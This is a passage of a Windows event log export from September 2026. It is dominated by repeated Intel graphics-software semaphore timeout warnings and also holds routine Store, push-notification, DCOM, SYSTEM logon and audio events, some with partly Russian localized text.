09:06:14.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:14.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:14.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:14.904\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:15.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:15.334\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:15.567\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:15.569\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:15.592\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 09:06:15.979\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:16.203\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:16.525\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:16.738\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.715\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.043\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.369\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.588\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.922\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.466\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.902\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.125\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.346\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.774\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:21.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:21.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:21.733\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:22.062\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:22.393\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:22.611\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:23.255\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:23.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:23.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:24.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:24.571\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:24.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.114\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.763\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.411\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.438\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.443\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.416\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.419\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:45.383\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:45.405\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:45.405\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:45.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:45.705\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:45.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.241\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.269\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{9EA82395-E31B-41CA-8DF7-EC1CEE7194DF}\n and APPID \n{2ED83BAA-B2FD-43B1-99BF-E6149C622692}\n to the user NT AUTHORITY\\NETWORK SERVICE SID (S-1-5-20) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 09:06:46.462\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.673\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.751\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:46.751\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:47.198\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:47.525\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:47.738\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.068\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.180\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:06:48.180\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:06:48.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.621\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.817\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:48.817\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:48.943\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:49.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:49.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:49.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.025\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.684\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.113\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.337\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.659\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.973\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.977\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.983\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:54.177\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:54.177\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:54.194\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:54.194\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:59.590\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.619\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.624\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.644\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.644\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.662\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.674\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: 